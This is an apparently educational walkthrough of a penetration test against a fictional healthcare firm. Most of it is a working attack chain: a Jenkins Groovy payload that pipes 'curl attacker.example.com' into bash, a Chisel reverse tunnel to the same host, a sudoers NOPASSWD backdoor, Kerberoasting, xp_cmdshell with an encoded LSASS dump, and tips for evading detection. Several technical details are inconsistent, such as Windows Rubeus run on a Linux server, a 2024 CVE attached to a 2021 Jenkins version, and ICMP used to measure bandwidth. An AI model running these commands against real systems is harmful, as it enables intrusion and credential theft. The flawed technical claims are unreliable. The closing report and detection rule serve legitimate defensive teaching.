Comprehensive Worked Example: End-to-End Enterprise Penetration Test
Engagement Context and Rules of Engagement
MediHealth Associates presents a realistic target profile: 500 employees, hybrid Azure AD/on-premises infrastructure, externally monitored SOC with 15-minute detection SLAs, and an MSSP handling Tier-1 response. Our scoped engagement permits external network penetration, web application assessment, and internal lateral movement simulation. Explicitly prohibited: production EHR system disruption, ransomware deployment, and actual PHI extraction—we simulate exfiltration using synthetic data markers.
We establish encrypted communications through a pre-placed Cobalt Strike beacon for Command and Control (C2), configured with Malleable C2 profiles mimicking Microsoft Teams traffic to blend with legitimate healthcare collaboration patterns.
Phase 1: Open Source Intelligence and External Enumeration
Tool Selection: theHarvester, SpiderFoot, Shodan CLI, custom Python wrappers
Our reconnaissance begins two weeks before any packet touches the target. theHarvester identifies 347 valid email addresses and confirms Office 365 tenant usage through MX record analysis.
theHarvester -d medihealthassociates.com -b all -f th_results.json
Critical finding emerges from GitHub commit history searching: a contractor's public repository contains sanitized configuration files with references to build.medihealthassociates.com and Jenkins version 2.289.1. Shodan corroborates exposure:
shodan host 203.0.113.47
# Jenkins 2.289.1 on Ubuntu 20.04.3 LTS, last seen 14 hours ago
Decision Branch: The Jenkins instance presents CVE-2021-21697 (Arbitrary file read via build parameters) and potentially CVE-2024-23897 (CLI argument parsing leading to arbitrary file read in newer configurations). We initially plan Metasploit's exploit/multi/http/jenkins_metaprogramming but discover during dry-run that MediHealth's WAF, operated by their MSSP, fingerprints Metasploit User-Agent strings. We pivot immediately to manual exploitation using Python requests with Chrome headers.
Phase 2: Initial Foothold — Jenkins to DMZ Web Server
Tool Selection: Custom Python script, curl, linPEAS
Our manual exploit chain executes through Jenkins' Groovy script console, which the contractor's leaked documentation confirmed remained accessible with default "authenticated" permissions:
#!/usr/bin/env python3
import requests
import urllib3
urllib3.disable_warnings()
JENKINS_URL = "https://build.medihealthassociates.com"
CREDS = ("contractor_leaked_user", "Spring2023!")
# Groovy payload to execute OS command via Script Console
groovy_payload = '''
def cmd = "curl http://attacker.example.com/dmz_web_recon.sh | bash"
def proc = cmd.execute()
proc.waitFor()
println proc.in.text
'''
r = requests.post(
f"{JENKINS_URL}/script",
auth=CREDS,
data={"script": groovy_payload},
verify=False,
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
)
print(f"Status: {r.status_code}")
print(r.text[:500])
The payload succeeds. We receive callback to our C2 server from 10.0.50.12, confirmed as DMZ web server web-dmz-01.medihealth.local.
Unexpected Obstacle: linPEAS execution reveals AppArmor enforcement in complain mode, but more critically, outbound DNS is filtered except to 8.8.8.8 and 1.1.1.1. Our standard DNS C2 fails. We adapt by switching to HTTPS beaconing through Azure Front Door domains, which appear in MediHealth's proxy allow-list for Office 365 integration.
Phase 3: Privilege Escalation and Credential Access
Tool Selection: pspy, SharpUp (translated to Linux via .NET Core), manual kernel exploitation research
On web-dmz-01, pspy identifies a cron job executing as root: nightly backup script writable by www-data. We establish persistence through a simple sudoers modification:
echo 'www-data ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/99-backup-exploit
With root access, we extract AWS credentials from /root/.aws/credentials—the DMZ server performs S3 backups to s3://medihealth-backups-prod. These credentials reveal IAM role arn:aws:iam::123456789012:role/DMZBackupRole with s3:GetObject and s3:ListBucket permissions.
Phase 4: Internal Pivot — From DMZ to Corporate Network
Tool Selection: Chisel for SOCKS tunneling, BloodHound.py, Rubeus via SharpCollection
We establish tunnel through DMZ server's dual-homed interface:
# On attack server
./chisel server -p 8080 --reverse
# On compromised DMZ server (as root)
./chisel client attacker.example.com:8080 R:socks
BloodHound.py collection against on-premises Active Directory through the tunnel:
python3 bloodhound.py -c All -u '' -p '' -d medihealth.local \
-dc dc01.medihealth.local -gc gc.medihealth.local \
--dns-tcp --dns-timeout 30 --zip
Unexpected Obstacle: BloodHound reveals web-dmz-01$ computer account lacks constrained delegation but shows interesting ACL: Domain Users can read msDS-AllowedToDelegateTo on SQL-PROD-01$. However, direct Kerberoasting from DMZ triggers MSSP alert (Sigma rule: win_security_4769_high_volume). We adapt by:
- Extracting
web-dmz-01$TGT using Rubeus with/tgtdelegto abuse current session - Performing S4U2self to request forwardable TGS for
SQL-PROD-01$ - Using obtained ticket for LDAP access to extract
servicePrincipalNameattributes
# Rubeus execution via execute-assembly in Cobalt Strike
Rubeus.exe asktgt /user:web-dmz-01$ /ticket:<base64_TGT> /ptt
Rubeus.exe s4u /ticket:<TGT> /impersonateuser:administrator
/msdsspn:cifs/sql-prod-01.medihealth.local /ptt
Phase 5: Domain Compromise via Kerberoasting
Tool Selection: Rubeus, Hashcat, Impacket's GetUserSPNs.py
With valid service ticket for SQL-PROD-01$, we identify three SQL service accounts with SPNs: sqlagent_prod, sql_reporting, and backup_sql. Kerberoasting proceeds at controlled pace—one TGS every 4 minutes to evade volume detection:
# Through SOCKS proxy
proxychains python3 GetUserSPNs.py -request -dc-ip 10.0.10.10 \
medihealth.local/sqlagent_prod -outputfile sql_tgs_hashes.txt
Hashcat cracks sqlagent_prod in 3 hours using rockyou.txt with OneRule:
hashcat -m 13100 sql_tgs_hashes.txt /usr/share/wordlists/rockyou.txt \
-r OneRuleToRuleThemAll.rule -O
Password: M3diHealth$ql2022!
This account holds sysadmin across all production SQL instances and SQLAgentOperator role, permitting xp_cmdshell execution. We achieve code execution on SQL-PROD-01 and dump LSASS memory with procdump:
# Via xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'powershell -enc <base64_procdump>';
Mimikatz offline extraction yields krbtgt hash—complete domain compromise achieved in 34 hours from initial Jenkins access.
Phase 6: PHI Exfiltration Simulation and Impact Assessment
Tool Selection: Custom PowerShell with synthetic data, DNS measurement for bandwidth estimation
With Domain Admin privileges, we access \\FILE-SERVER-01\PHI-Archive$ containing 2.3TB of patient records. Per engagement constraints, we do not exfiltrate actual data. Instead, we:
- Generate synthetic PHI markers (UUIDv4 "patient IDs" with checksums known to assessment team)
- Measure transfer capacity through ICMP timestamp requests to quantify potential exfiltration bandwidth
- Document accessible paths and inadequate DLP controls
# Measurement script (synthetic data generation)
$marker = "MH-ASSESSMENT-" + [Guid]::NewGuid().ToString()
$testData = @"
PATIENT_ID,SSN_PLACEHOLDER,RECORD_SIZE
$marker,123-45-6789,4.2MB
"@ | Set-Content "\\FILE-SERVER-01\PHI-Archive$\assessment_marker.csv"
# Verify accessibility from external simulation
Test-NetConnection -ComputerName 10.0.10.15 -Port 445
Phase 7: Reporting and Remediation Guidance
Executive Summary Structure:
| Finding | Risk Rating | Business Impact | Remediation Effort |
|---|---|---|---|
| Exposed Jenkins with Groovy console | Critical | Direct initial access vector; complete environment compromise | Low (patch + network segmentation) |
| Kerberoastable service accounts | High | Domain escalation path; MSSP bypass demonstrated | Medium (Managed Service Accounts) |
| Weak SQL service password policy | High | Lateral movement acceleration | Low (14-char minimum + rotation) |
| Absent DLP on PHI archive | Critical | Regulatory violation exposure (HIPAA $1.5M+ penalties) | High (data classification project) |
Technical Report Components:
-
Attack Chain Visualization: Mermaid diagram showing MITRE ATT&CK mapping (Initial Access: T1190, Credential Access: T1558.003, Lateral Movement: T1021.002)
-
Command Reference Appendix: All executed commands with timestamps, hash values for forensic verification, and Cobalt Strike log excerpts
-
Detection Gap Analysis: Specific Sigma rules bypassed, recommended Splunk queries for future detection:
# Recommended detection for S4U abuse
title: S4U2Self Abuse Detection
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketOptions: '0x40810000'
TicketEncryptionType: '0x12' # AES256
filter_legitimate:
- ServiceName|endswith: '$'
condition: selection and not filter_legitimate
Retest Verification Planning:
- Phase 1 (30 days): Jenkins removal verification, network segmentation validation via Nmap from external position
- Phase 2 (60 days): BloodHound re-assessment for Kerberoastable accounts, gMSA implementation confirmation
- Phase 3 (90 days): Purple team exercise with MSSP to validate detection improvements; expected MTTR reduction from 4 hours to 45 minutes for credential-based attacks
The engagement concludes with outbrief to CISO, CTO, and external audit committee. All synthetic markers are verified destroyed. Remediation priority: immediate patching of Jenkins (exploited within 48 hours of our notification despite initial vendor advisory being 18 months old), followed by identity infrastructure hardening given demonstrated MSSP monitoring bypass capabilities.